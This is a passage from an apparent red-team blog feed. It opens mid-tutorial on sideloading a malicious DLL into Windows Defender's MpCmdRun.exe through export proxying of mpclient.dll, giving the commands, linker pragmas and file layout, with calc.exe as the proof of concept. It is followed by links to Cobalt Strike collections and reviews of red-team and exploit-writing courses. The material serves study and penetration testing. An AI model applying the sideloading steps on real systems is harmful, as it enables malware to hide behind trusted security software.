<p>Now to get the exported functions from the legitimate DLL <strong>mpclient.dll</strong> at its expected location (<a href="https://hijacklibs.net/entries/microsoft/built-in/mpclient.html">detailed here</a>), we can use this <a href="https://gist.github.com/wsummerhill/23c138be8f953155e20c01055d6cf53f">PowerShell script</a> with the following commands:<br /></p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">PS</span><span class="err">&gt;</span><span class="w"> </span><span class="o">.</span><span class="w"> </span><span class="o">.</span><span class="nx">\Get-DLL-Exports.ps1</span><span class="w">
</span><span class="n">PS</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">Get-DLL-Exports</span><span class="w"> </span><span class="nt">-DllPath</span><span class="w"> </span><span class="o">%</span><span class="nx">PROGRAMDATA</span><span class="o">%</span><span class="nx">\Microsoft\Windows</span><span class="w"> </span><span class="nx">Defender\Platform\</span><span class="o">%</span><span class="nx">VERSION</span><span class="o">%</span><span class="nx">\mpclient.dll</span><span class="w"> </span><span class="nt">-ExportsToCpp</span><span class="w"> </span><span class="nx">C:\output\folder\MpClient-exports.txt</span><span class="w">
</span></code></pre></div></div>

<p>After executing the PowerShell command, the output file <strong>MpClient-exports.txt</strong> should have all the DLL exports in it as shown below (shortened for brevity):</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// --&gt; ADD ALL EXPORTS BELOW TO THE TOP OF YOUR .CPP APPLICATION &lt;--</span>
<span class="cp">#pragma once
#pragma comment (linker, "/export:MpAddDynamicSignatureFile=MpClient_orig.MpAddDynamicSignatureFile,@43")
#pragma comment (linker, "/export:MpAllocMemory=MpClient_orig.MpAllocMemory,@44")
#pragma comment (linker, "/export:MpAmsiCloseSession=MpClient_orig.MpAmsiCloseSession,@45")
#pragma comment (linker, "/export:MpAmsiNotify=MpClient_orig.MpAmsiNotify,@46")
#pragma comment (linker, "/export:MpAmsiScan=MpClient_orig.MpAmsiScan,@47")
#pragma comment (linker, "/export:MpAsrSetHipsUserExclusion=MpClient_orig.MpAsrSetHipsUserExclusion,@48")
#pragma comment (linker, "/export:MpChangeCapability=MpClient_orig.MpChangeCapability,@49")
#pragma comment (linker, "/export:MpCheckAccessForClipboardOperation=MpClient_orig.MpCheckAccessForClipboardOperation,@50")
#pragma comment (linker, "/export:MpCheckAccessForClipboardOperationEx=MpClient_orig.MpCheckAccessForClipboardOperationEx,@51")
#pragma comment (linker, "/export:MpCheckAccessForClipboardOperationEx2=MpClient_orig.MpCheckAccessForClipboardOperationEx2,@52")
</span><span class="p">...</span>
</code></pre></div></div>

<p>From the output, can see that <strong>mpclient.dll</strong> has many DLL exports which we can add to the top of our code now, just under the <code class="language-plaintext highlighter-rouge">#inclue</code> import lines.<br />
Once you add the exports to the DLL code, it should look something like this:</p>

<p><img src="https://user-images.githubusercontent.com/35749735/195376423-8dd1add9-13d5-47c5-b167-f21cc59bcf5f.png" alt="image" /></p>

<p>The export functions will forward execution to the legitimate DLL, named “<strong>mpclient_orig</strong>” as seen from the output above. To use this, we’ll have to rename the original DLL to <strong>mpclient_orig.dll</strong> and <em>place it in the same folder as the legit EXE and malicious DLL to execute the DLL sideload</em>.</p>

<p>Now compile your malicious DLL in Visual Studio or using <code class="language-plaintext highlighter-rouge">cl.exe</code> to the output file named <strong>mpclient.dll</strong>!</p>

<h4 id="an-alternative-method-with-python">An alternative method with Python</h4>

<p>Another technique to do DLL proxying, which is my preferred method, is to proxy DLL exports to the DLL on disk in its <strong>original location</strong> (i.e. <code class="language-plaintext highlighter-rouge">C:\windows\system32</code>). That way you don’t need to have the original DLL in the current folder of the executable and malicious DLL. These exports can be created with a similar <a href="https://gist.github.com/wsummerhill/ceebd6893b14244ef5a7f9dfd4348f0a">script in Python</a>  which points the DLL exports to the full path of the DLL on disk instead of the DLL in the current folder.<br />
For example:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python Find-DLL-Exports_DLL-Proxying.py "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2201.10-0\MpClient.dll"
// Export DLL functions
#pragma once
#pragma comment(linker,"/export:MpAddDynamicSignatureFile=C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.2201.10-0\\MpClient.MpAddDynamicSignatureFile,@43")
#pragma comment(linker,"/export:MpAllocMemory=C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.2201.10-0\\MpClient.MpAllocMemory,@44")
#pragma comment(linker,"/export:MpAmsiCloseSession=C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.2201.10-0\\MpClient.MpAmsiCloseSession,@45")
#pragma comment(linker,"/export:MpAmsiNotify=C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.2201.10-0\\MpClient.MpAmsiNotify,@46")
#pragma comment(linker,"/export:MpAmsiScan=C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.2201.10-0\\MpClient.MpAmsiScan,@47")
#pragma comment(linker,"/export:MpAsrSetHipsUserExclusion=C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.2201.10-0\\MpClient.MpAsrSetHipsUserExclusion,@48")
...
</code></pre></div></div>

<p>Note that the DLL exports point to the full path of the DLL on disk so we don’t need to have the original DLL in the current folder with our executable and malicious DLL.</p>

<h3 id="putting-it-all-together">Putting it all together</h3>

<p>To combine everything together and actually execute our DLL sideload with the PowerShell script with original DLL in the same folder, we need to copy the <strong>original EXE</strong>, <strong>malicious DLL</strong>, and <strong>original DLL</strong> to the same folder. Place the following files to your target folder with these naming conventions: <br /></p>
<ul>
  <li>MpCmdRun.exe</li>
  <li>mpclient.dll (malicious DLL)</li>
  <li>mpclient_orig.dll (original DLL)</li>
</ul>

<p>It should look something like this:
<img src="https://user-images.githubusercontent.com/35749735/195417269-99e84b29-dc21-41ea-af88-85999bffe7ba.png" alt="image" /></p>

<p>Finally, we can double-click or execute <strong>MpCmdRun.exe</strong> from command-line and we should see <em>calc.exe</em> spawn in the foreground if it properly worked! Note for this executable, you may have to disable Defender first to get it working. But generally as a proof-of-concept we’ve shown that the DLL sideload via DLL proxying of Windows Defender works!</p>

<p><img src="https://user-images.githubusercontent.com/35749735/195417916-03906f38-3732-4943-869d-622c19965bc9.png" alt="image" /></p>

<p>If we do this using the alternative method with Python <a href="#an-alternative-method-with-python">referenced above</a> which proxies exports to the original DLL where it normally resides on disk, then our folder structure would look a bit different as it only requires the malicous DLL sideloading our EXE: <br /></p>
<ul>
  <li>MpCmdRun.exe</li>
  <li>mpclient.dll (malicious DLL)</li>
</ul>]]></content><author><name>{&quot;name&quot;=&gt;nil, &quot;avatar&quot;=&gt;nil, &quot;bio&quot;=&gt;&quot;red teaming | malware dev&quot;, &quot;location&quot;=&gt;&quot;Canada&quot;, &quot;links&quot;=&gt;[{&quot;label&quot;=&gt;&quot;Twitter/X&quot;, &quot;icon&quot;=&gt;&quot;fab fa-fw fa-twitter-square&quot;, &quot;url&quot;=&gt;&quot;https://x.com/bsummerz&quot;}, {&quot;label&quot;=&gt;&quot;GitHub&quot;, &quot;icon&quot;=&gt;&quot;fab fa-fw fa-github&quot;, &quot;url&quot;=&gt;&quot;https://github.com/wsummerhill&quot;}]}</name></author><category term="redteam" /><summary type="html"><![CDATA[I’m going to cover an example of how to perform a DLL sideload from start to finish using a C++ payload and a legitimate DLL commonly found on disk. The specific technique covered is known as “DLL proxying” where we use the legitimate DLL along with a malicious DLL which exports all the functions that the legit DLL to execute properly.]]></summary></entry><entry><title type="html">Cobalt Strike - BOF Collection</title><link href="https://wsummerhill.github.io/2022/08/05/Cobalt-Stike-BOF-Collection.html" rel="alternate" type="text/html" title="Cobalt Strike - BOF Collection" /><published>2022-08-05T00:00:00+00:00</published><updated>2022-08-05T00:00:00+00:00</updated><id>https://wsummerhill.github.io/2022/08/05/Cobalt-Stike-BOF-Collection</id><content type="html" xml:base="https://wsummerhill.github.io/2022/08/05/Cobalt-Stike-BOF-Collection.html"><![CDATA[<p>Useful Cobalt Strike Beacon Object Files (BOFs) used during red teaming and penetration testing engagements.</p>

<p>Link: <a href="https://github.com/wsummerhill/C2_RedTeam_CheatSheets/blob/main/CobaltStrike/BOF_Collections.md">https://github.com/wsummerhill/C2_RedTeam_CheatSheets/blob/main/CobaltStrike/BOF_Collections.md</a></p>]]></content><author><name>{&quot;name&quot;=&gt;nil, &quot;avatar&quot;=&gt;nil, &quot;bio&quot;=&gt;&quot;red teaming | malware dev&quot;, &quot;location&quot;=&gt;&quot;Canada&quot;, &quot;links&quot;=&gt;[{&quot;label&quot;=&gt;&quot;Twitter/X&quot;, &quot;icon&quot;=&gt;&quot;fab fa-fw fa-twitter-square&quot;, &quot;url&quot;=&gt;&quot;https://x.com/bsummerz&quot;}, {&quot;label&quot;=&gt;&quot;GitHub&quot;, &quot;icon&quot;=&gt;&quot;fab fa-fw fa-github&quot;, &quot;url&quot;=&gt;&quot;https://github.com/wsummerhill&quot;}]}</name></author><summary type="html"><![CDATA[Useful Cobalt Strike Beacon Object Files (BOFs) used during red teaming and penetration testing engagements.]]></summary></entry><entry><title type="html">Cobalt Strike - Red Team CheatSheet</title><link href="https://wsummerhill.github.io/2021/06/14/Cobalt-Stike-Cheatsheet.html" rel="alternate" type="text/html" title="Cobalt Strike - Red Team CheatSheet" /><published>2021-06-14T00:00:00+00:00</published><updated>2021-06-14T00:00:00+00:00</updated><id>https://wsummerhill.github.io/2021/06/14/Cobalt-Stike-Cheatsheet</id><content type="html" xml:base="https://wsummerhill.github.io/2021/06/14/Cobalt-Stike-Cheatsheet.html"><![CDATA[<p>I created a handy cheat sheet for Cobalt Strike commands for red teaming engagements which utilize both CSharp and PowerShell tools.</p>

<p>Link: <a href="https://github.com/wsummerhill/C2_RedTeam_CheatSheets/blob/main/CobaltStrike">https://github.com/wsummerhill/C2_RedTeam_CheatSheets/tree/main/CobaltStrike</a></p>]]></content><author><name>{&quot;name&quot;=&gt;nil, &quot;avatar&quot;=&gt;nil, &quot;bio&quot;=&gt;&quot;red teaming | malware dev&quot;, &quot;location&quot;=&gt;&quot;Canada&quot;, &quot;links&quot;=&gt;[{&quot;label&quot;=&gt;&quot;Twitter/X&quot;, &quot;icon&quot;=&gt;&quot;fab fa-fw fa-twitter-square&quot;, &quot;url&quot;=&gt;&quot;https://x.com/bsummerz&quot;}, {&quot;label&quot;=&gt;&quot;GitHub&quot;, &quot;icon&quot;=&gt;&quot;fab fa-fw fa-github&quot;, &quot;url&quot;=&gt;&quot;https://github.com/wsummerhill&quot;}]}</name></author><summary type="html"><![CDATA[I created a handy cheat sheet for Cobalt Strike commands for red teaming engagements which utilize both CSharp and PowerShell tools.]]></summary></entry><entry><title type="html">Pentester Academy - Certified Red Team Professional Cert &amp;amp; Exam Review</title><link href="https://wsummerhill.github.io/2020/06/25/AD-CRTP.html" rel="alternate" type="text/html" title="Pentester Academy - Certified Red Team Professional Cert &amp;amp; Exam Review" /><published>2020-06-25T00:00:00+00:00</published><updated>2020-06-25T00:00:00+00:00</updated><id>https://wsummerhill.github.io/2020/06/25/AD-CRTP</id><content type="html" xml:base="https://wsummerhill.github.io/2020/06/25/AD-CRTP.html"><![CDATA[<!-- categories: redteam exam courses activedirectory -->

<p>In March of 2020, I signed up for the <a href="https://www.pentesteracademy.com/activedirectorylab">Attacking and Defending Active Directory red team labs course by Pentester Academy</a>. I’ve been doing red teams for a couple years so I wanted to fine-tune and improve those skills further for Active Directory attack techniques.</p>

<p>This is the first red team course by Pentester Academy as part of their initiative to create red team labs and certs. The course covers everything from tools and techniques, AD environments and fundamentals, Kerberos, persistence, Domain and Enterprise Admin attacks and more. It is a technical course and certification which is fully hands on and is tons of fun since you get your hands dirty with all sorts of complex AD attacks. 
The Course</p>

<p>You can sign up for the course lab for 30, 60 or 90 days with extensions if needed. Upon signing up and paying I got access to the lab and content within a day or two. The content is all in PDF and video format and taught by Nikhil Mittal. He is the creator of multiple AD attack-related tools and he’s spoken and taught at conferences like Blackhat and Defcon.</p>

<p>The general idea of the course is to emulate an adversary who already has internal access to a network (aka the “assumed breach” phase of a red team). There is no actual exploitation of vulnerabilities in the course - only abuse of functionalities and normal configurations in AD. The lab gives you a good understanding of an example AD environment with multiple domain forests and trusts and several Domain Controllers and different types of machines to target.</p>

<h3 id="the-course-content-generally-covers">The course content generally covers:</h3>
<ul>
  <li>PowerShell and AD</li>
  <li>Domain trusts and domain enumeration</li>
  <li>Credential replay attacks</li>
  <li>Privilege escalations</li>
  <li>Credential dumping</li>
  <li>Kerberos attacks</li>
  <li>Cross-forest trust attacks</li>
  <li>Delegation issues and AD persistence techniques</li>
  <li>SQL server trusts</li>
  <li>Defending and detecting against attacks</li>
</ul>

<p>The course tools are VERY heavy on PowerShell, PowerView, Microsoft’s AD module, Bloodhound and some other tools but those are the critical ones.  By the end of it I was able to run tools and commands as if it were second nature.</p>

<p>The lab is a good size but not too big and may only take a a couple weeks to a month depending on your time commitment and motivation. I’d highly recommend understanding the material and exploitation techniques in order to properly learn the content instead of just copy/pasting commands. It really helps in the exam to know the actual technical fundamentals and understandings of the tools, attacks, what they do and why they work in order to pass.</p>

<p>After 2 months of lab I was ready for the exam. I had gone over all the videos and content several times, practiced with various tools and tactics used, and owned all machines multiple times using the course book and on my own.</p>

<p>I had reviewed some key content before the exam to prep which included:</p>
<ul>
  <li>Enumeration, enumeration and enumeration!!! Trust me when I say to know your enumeration tools, commands and what you’re looking at in the output!</li>
  <li>Credential dumping with Mimikatz</li>
  <li>Credential replaying with Mimikatz</li>
  <li>Kerberoasting</li>
  <li>SQL server attacks</li>
</ul>

<h3 id="the-exam">The Exam</h3>

<p>The exam is somewhat like the OSCP except you don’t have to exploit anything. It is definitely tricky and mean to deter you. Similar to the OSCP, you have to enumerate EVERYTHING. I definitely spent the most time enumerating and the remainder exploiting, taking notes and then writing the report.</p>

<p>The exam itself is 24 hours and then you will have the following 48 hours to produce your pentest report with detailed findings and recommendations. The more details/references/steps/screenshots/links/recommendations the better.</p>

<p>Similar to the course, the goal is to take advantage of misconfigurations and valid functionality in AD in order to own all systems. There are 5 machines total in the exam to own. You may still pass if you only own 3 or 4 and produce a high-quality report, and if you own everything then my understanding is the report can be somewhat less thorough. However,  exploitation steps should be well detailed with thorough recommendations if you want to guarantee your chances of passing like I did.</p>

<p>Some general tools I found very helpful in the exam:</p>
<ul>
  <li>PowerView</li>
  <li>AD Module</li>
  <li>Invoke-Mimikatz</li>
  <li>Invoke-Kerberoast</li>
  <li>PowerUp</li>
  <li>PowerUpSQL</li>
  <li>Rubeus</li>
  <li>Bloodhound</li>
</ul>

<p>After spending hours and hours enumerating a ton, once I figured out the first few attack paths and mapped the entire network I was able to pop the first couple machines. After that, all the machines started to drop like flies as I owned them one by one. At the end of the exam I had owned all machines and was on my way to working on the report. After the first 24 hours of the exam, I spend about another half a day on the report while taking my time and making sure I included everything.</p>

<p><strong>Pro tip: Don’t forget to sleep, take breaks, eat healthy-ish food and get some air to clear your head when you’re stuck!</strong></p>

<p>After submitting a full PDF report I received a confirmation email from the lab team. 2 days later and I received the congratulatory email that I had passed!</p>

<p>I’m happy to say I thoroughly enjoyed the course and especially the lab and exam. I got to develop and fine-tune my AD attack skills to gain a better understanding of attacks and tools which will come in handy in future red teams! Thanks to Pentester Academy and Nikhil Mittal :)</p>

<p><img src="https://user-images.githubusercontent.com/35749735/182642623-674f1ed7-2c9d-45be-9db8-79da48c51c92.png" alt="image" /></p>]]></content><author><name>{&quot;name&quot;=&gt;nil, &quot;avatar&quot;=&gt;nil, &quot;bio&quot;=&gt;&quot;red teaming | malware dev&quot;, &quot;location&quot;=&gt;&quot;Canada&quot;, &quot;links&quot;=&gt;[{&quot;label&quot;=&gt;&quot;Twitter/X&quot;, &quot;icon&quot;=&gt;&quot;fab fa-fw fa-twitter-square&quot;, &quot;url&quot;=&gt;&quot;https://x.com/bsummerz&quot;}, {&quot;label&quot;=&gt;&quot;GitHub&quot;, &quot;icon&quot;=&gt;&quot;fab fa-fw fa-github&quot;, &quot;url&quot;=&gt;&quot;https://github.com/wsummerhill&quot;}]}</name></author><summary type="html"><![CDATA[]]></summary></entry><entry><title type="html">Sans GXPN - Course Review</title><link href="https://wsummerhill.github.io/2019/03/24/Sans-GXPN-Review.html" rel="alternate" type="text/html" title="Sans GXPN - Course Review" /><published>2019-03-24T00:00:00+00:00</published><updated>2019-03-24T00:00:00+00:00</updated><id>https://wsummerhill.github.io/2019/03/24/Sans-GXPN-Review</id><content type="html" xml:base="https://wsummerhill.github.io/2019/03/24/Sans-GXPN-Review.html"><![CDATA[<p>In October of 2018 I had the lucky opportunity to take the Sans SEC660 <a href="https://www.sans.org/cyber-security-courses/advanced-penetration-testing-exploits-ethical-hacking/">“Advanced Penetration Testing, Exploit Writing, and Ethical Hacking”</a> in-person course. I chose to take the course in Amsterdam since I heard great things about the instructor teaching the course there - Jake Williams. If you don’t know Jake I suggest you look him up on twitter at <a href="https://twitter.com/MalwareJake">@MalwareJake</a>. He has seemingly infinite knowledge of security and can deep dive into any subject you ask him about on the spot.</p>

<h2 id="course-experience">Course Experience</h2>

<p>The course itself was intense and very fast-paced. Jake went through each subject in the course quickly so you have to be paying attention to keep up while simultaneously taking notes. There’s so much information in Sans courses that we frequently heard the phrase “drinking from a fire hose” which I can attest to. There is some time to stop and ask questions but that is usually only carved out during exercise/lab time, at lunch or after the course is done for the day.</p>

<h3 id="day-1-network-attacks">Day 1: Network Attacks</h3>
<p>Day 1 gets started with a quick review of the course and setup of the lab environment then gets right into the material. The content starts off with network-based attacks around NAC, VLAN, MitM and some new Cisco protocols that I never knew of before. Some of the tools like Ettercap/Bettercap were review for me, although they went more in depth than what I previously knew. Some other MitM tools like Loki and ISR Evilgrade were mostly new to me as well. The afternoon composed of IPv6 attacks, more MiTM (sslstrip stuff) and SNMP based attacks.</p>

<p>It was a good introductory day overall. Nothing overwhelming yet so I was feeling pretty good about it. The one thing I noticed immediately was the fast pace of the course and the considerate amounts of content covered.</p>

<h3 id="day-2-encryption-and-post-exploitation">Day 2: Encryption and Post-exploitation</h3>
<p>The second day got right into crypto once we got settled in. There was a quick review on stream ciphers, block ciphers, their mode types, and then went straight to the crypto-based attacks such as CBC bit flipping attacks, Oracle padding attacks and hash-length extension attacks. I thought I had a general idea of what these were before, and have fired off some exploits on them in the past, but to actually go deep into the low-level details of how the attacks worked on a cryptographic level was very interesting and complex (also fast-paced to follow along to).</p>

<p>After that, the day covered restricted desktops, Powershell stuff (nothing new here) and escapes and privilege escalations. There were some new techniques involved for escapes, but not very often do I find myself in the situation where I need to use this type of knowledge. The priv esc stuff was mostly review since I’ve done the OSCP, but it still helps to cover some of the specific details around these attacks again.</p>

<p>The labs for this day were fun. We got put in a structured environment and had to hack our way to the “boss’s” machine and recover his sensitive files. It involved some enumeration, application escapes, privilege escalations and pivots to additional servers.</p>

<p>Things are fast and the crypto was hard but I’m still feeling alright. Onto day 3!</p>

<h3 id="day-3-python-and-scapy">Day 3: Python and Scapy</h3>
<p>Day 3 was a bit of review for me with the Python but it was a good introduction into fuzzing as well. The course goes over two main fuzzers - Sulley and American Fuzzy Lop (AFL). The exercises were useful to actually get your hands dirty with the fuzzers and the additional tools that work with them.</p>

<h3 id="day-4-linux-exploitation">Day 4: Linux Exploitation</h3>
<p>Now to start the real fun stuff. The Linux exploitation day started off with really fast-paced coverage of Linux memory and files then went straight into the GDB debugger and shellcode. There were a ton of new concepts here that I had no idea even existed before and it turns out this stuff is really important to know for exploitation development and to pass the exam.</p>

<p>After that, the real Linux exploitation began. We first did a standard buffer overflow with GDB, then we learned about Ret2libc style attacks and went through a Ret2sys attack on a local Linux VM. There was a brief introduction into ROP and gadgets which was just a small taste of what was to come the next day. The more advanced stack smashing techniques included a very difficult to understand canary exploit (which I eventually got with help from a classmate and the instructor) then an intro to ASLR bypasses. We completed two separate ASLR buffer overflow techniques, one with the linux-gate-so.1 static library and another using the Exec() family of functions for newer version of Linux.</p>

<p>It’s safe to say it was a really intense day and the first time I felt really over my head with this course. I went back to review more that night and do an additional bootcamp buffer overflow exercise since we didn’t get to it during after-class hours.</p>

<h3 id="day-5-windows-exploitation">Day 5: Windows Exploitation</h3>
<p>If there’s anything myself and many other classmates were feeling after today it’s this: mind blown. Here’s why…</p>

<p>The last day of class started out with a detailed outline of Windows memory, object files and OS security controls. It’s boring yet important to cover these first since this is what we’ll be exploiting very shortly.</p>

<p>After that, we got straight into overflow attacks to defeat hardware DEP with ROP.  We first did the basic buffer overflow against our target app to go through the steps of setting up the app and exploiting it while using a debugger. The next overflow was an SEH overwrite to control the SEH chain of exceptions and gain stack execution. This technique was a new concept for me so it was good to learn another new type of BO attack.</p>

<p>The last buffer overflow covered in the course - and the most intense - was using ROP gadgets to execute the VirtualProtect() function to enable execution on pages of memory where your shellcode resides. This techniques works to bypass both hardware DEP and ASLR at the same time. If you’ve never done a ROP chain before then you’re in for a nice yet excruciating surprise. By the time the instructor went through the attack and all of the gadgets the entire class was basically speechless. I think a couple people could follow along but I was one of the many who was mostly lost the entire time since it’s very fast-paced and a totally new and complex technique. Thankfully you don’t have to write your own ROP gadgets, however just the large exploit and script we used was hard enough to follow.</p>

<p>This was easily the most difficult day, and I felt wiped by the end of it since everything has been leading up to this point. The ROP chain attack was the nail in the coffin. But I still survived, and it was time to take a short break before CTFing tomorrow.</p>

<h3 id="day-6-ctf">Day 6: CTF</h3>
<p>CTF day - yay! The CTF was quite fun since it utilized tools and techniques learned throughout the previous 5 days. There were some good buffer overflows which got exceedingly difficult (I couldn’t come close to doing them in time) and a good variety of both Windows and Linux attacks, crypto and cool trivia. My team ended up winning (thanks to them) so we got the coveted  660 challenge coin…</p>

<p><img src="https://user-images.githubusercontent.com/35749735/186721665-efc957e8-d8bc-4587-b2fb-ce99607bb0cd.png" alt="image" width="400" />
<img src="https://user-images.githubusercontent.com/35749735/186721710-cf23c418-38f2-48a2-a958-f52464e9afb8.png" alt="image" width="400" /></p>

<hr />

<h2 id="exam-prep">Exam Prep</h2>
<p>Here’s a short list of useful requirements to prep for the exam:</p>

<ol>
  <li>Read the books as many times as possible. Highlight ALL the important stuff, write it down, say it out load, then read it 5 more times.</li>
  <li>Re-do ALL of the exercises and boot camps as much as possible. This can’t be stressed enough. Especially the buffer overflows in books 4 and 5!</li>
  <li>Make a strong cheat sheet and color-tab your books. I’d highly recommend some methods in the “<a href="https://tisiphone.net/2015/08/18/giac-testing/">Better GIAC testing with pancakes</a>” article.</li>
  <li>Use both of the practice exams and take them seriously as if they were a real exam. Take notes during the practice exams too if you have time. They are in the EXACT same format as the real exam so this was critical for me to have more confidence going into the real exam. And practice the sections that you did poorly on even further before the final exam.</li>
</ol>

<h3 id="exam">Exam</h3>
<p>I took the exam about 3 months after I started the course and I had scheduled it for a Saturday early in the afternoon. I figured there may be a lot of tricky questions or curve balls so I couldn’t help but overthink some things going into it which is only natural.</p>

<p>The exam was 60 questions long and scheduled for 3 hours. The last 6 questions at the end are reserved for the in-browser VM practical questions. Knowing this, make sure you divide your time properly so you have enough time for the practical questions. I planned to spend 45 minutes on the practical questions but didn’t end up needing that long at all.</p>

<p>Once I got into the exam I knew what I felt comfortable immediately. I gained a lot of confidence and was certain most of my answers were correct. It’s important to read everything very carefully, both the questions and answers, to make sure you don’t miss anything and choose the right answer. Once I got to the remaining 6 practical questions I knew I was doing well. These questions were just like the practice exams so I knew what to expect. Most of them were easy if you’re prepared, and there was one really fun exploit requiring a buffer overflow to answer.</p>

<p>Overall, I had a great and unique experience with my first Sans course and exam. The bootcamp style course is evidently intense and covers A LOT of information. This made studying a lot longer since there is so much material to know and review. Passing that exam felt amazing especially after feeling so prepared. I’d do it again but I’m happy to finally take a break until I figure out what to do next.</p>

<p><a href="https://www.credly.com/badges/416bcf6f-c8e6-4a9d-85a9-289e9756b3e9">YourAcclaim Link</a></p>]]></content><author><name>{&quot;name&quot;=&gt;nil, &quot;avatar&quot;=&gt;nil, &quot;bio&quot;=&gt;&quot;red teaming | malware dev&quot;, &quot;location&quot;=&gt;&quot;Canada&quot;, &quot;links&quot;=&gt;[{&quot;label&quot;=&gt;&quot;Twitter/X&quot;, &quot;icon&quot;=&gt;&quot;fab fa-fw fa-twitter-square&quot;, &quot;url&quot;=&gt;&quot;https://x.com/bsummerz&quot;}, {&quot;label&quot;=&gt;&quot;GitHub&quot;, &quot;icon&quot;=&gt;&quot;fab fa-fw fa-github&quot;, &quot;url&quot;=&gt;&quot;https://github.com/wsummerhill&quot;}]}</name></author><summary type="html"><![CDATA[In October of 2018 I had the lucky opportunity to take the Sans SEC660 “Advanced Penetration Testing, Exploit Writing, and Ethical Hacking” in-person course. I chose to take the course in Amsterdam since I heard great things about the instructor teaching the course there - Jake Williams. If you don’t know Jake I suggest you look him up on twitter at @MalwareJake. He has seemingly infinite knowledge of security and can deep dive into any subject you ask him about on the spot.]]></summary></entry></feed>